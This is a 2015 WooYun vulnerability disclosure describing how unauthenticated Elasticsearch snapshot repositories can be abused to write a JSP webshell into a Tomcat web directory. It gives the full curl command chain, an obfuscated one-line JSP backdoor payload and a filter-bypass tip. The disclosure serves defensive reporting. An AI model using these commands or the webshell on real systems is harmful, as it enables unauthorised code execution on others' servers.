当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0110216

漏洞标题:elasticsearch某内置功能缺陷利用可能导致getshell风险

相关厂商:elasticsearch

漏洞作者: 园长

提交时间:2015-04-25 01:22

修复时间:2015-07-27 10:54

公开时间:2015-07-27 10:54

漏洞类型:命令执行

危害等级:中

自评Rank:8

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-25: 细节已通知厂商并且等待厂商处理中
2015-04-28: 厂商已经确认,细节仅向厂商公开
2015-05-01: 细节向第三方安全合作伙伴开放
2015-06-22: 细节向核心白帽子及相关领域专家公开
2015-07-02: 细节向普通白帽子公开
2015-07-12: 细节向实习白帽子公开
2015-07-27: 细节向公众公开

简要描述:

虽然只是个小问题,但是某些时候还是会存在getshell风险

详细说明:

elasticsearch服务普遍存在一个未授权访问的问题,攻击者通常可以请求一个开放9200或9300的服务器进行恶意攻击。
基础信息:
可以查看es节点信息,包括安装目录:http://localhost:9200/_nodes

1.png


未授权访问的elasticsearch(事实上绝大多数都没做访问授权)备份数据的时候存在一些小缺陷,可以用来进一步的获取权限。
参考es官方的索引快找和恢复文档(Snapshot And Restore):
http://www.elastic.co/guide/en/elasticsearch/reference/current/modules-snapshots.html#_snapshot

2.png


大概意思是说:
快照和恢复模块可以创建单独的索引或整个集群索引的快照到远程仓库。最初的es只提供了把数据备份到共享文件系统,但是现在的es可以通过官方的后端插件备份。
首先创建一份恶意的索引文档(key为jsp一句话后门):

curl -XPOST http://localhost:9200/yz.jsp/yz.jsp/1 -d'
{"<%new java.io.RandomAccessFile(application.getRealPath(new String(new byte[]{47,116,101,115,116,46,106,115,112})),new String(new byte[]{114,119})).write(request.getParameter(new String(new byte[]{102})).getBytes());%>":"test"}
'


查看创建的文档: curl http://localhost:9200/yz.jsp/_search?pretty

3.png


这里的我创把文档的index和type都设置成了yz.jsp,其中文档的key包含了一个jsp文件。
然后创建一个恶意的存储库(Repositories):

curl -XPUT 'http://localhost:9200/_snapshot/yz.jsp' -d '{
"type": "fs",
"settings": {
"location": "/Users/yz/Documents/install/apache-tomcat-7.0.57/webapps/wwwroot/",
"compress": false
}
}'


这个Repositories的路径比较有意思,因为他可以写到可以访问到的任意地方,并且如果这个路径不存在的话会自动创建。那也就是说你可以通过文件访问协议创建任意的文件夹。这里我把这个路径指向到了tomcat的web部署目录,因为只要在这个文件夹创建目录Tomcat就会自动创建一个新的应用(文件名为wwwroot的话创建出来的应用名称就是wwwroot了)。
既然知道可以创建任意目录,或许就可以想办法写个shell。
存储库验证并创建:

curl -XPUT "http://localhost:9200/_snapshot/yz.jsp/yz.jsp" -d '{
"indices": "yz.jsp",
"ignore_unavailable": "true",
"include_global_state": false
}'


4.png


这个时候就可以看到tomcat目录的备份文件已经生成了多个jsp文件:

5.png


一句话shell在/Users/yz/Documents/install/apache-tomcat-7.0.57/webapps/wwwroot/indices/yz.jsp/snapshot-yz.jsp:

6.png


写大马:

7.png


这里有2个点:
1、json不好绕过避开json应该是不可能了,所以避开双引号比较麻烦所以这里用了byte转String避免出现”"。
2、如果不把compress设置成false会被es安全过滤(比如:toString、getXXX都会被过滤),绕了半天才发现设置成不压缩就可以了......

漏洞证明:

5.png


6.png

修复方案:

mapping校验,禁止创建特殊后缀

版权声明:转载请注明来源 园长@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-04-28 10:52

厂商回复:

CNVD未复现所述漏洞情况,暂未建立与软件生产厂商(或网站管理单位)的直接处置渠道,待认领。

最新状态:

暂无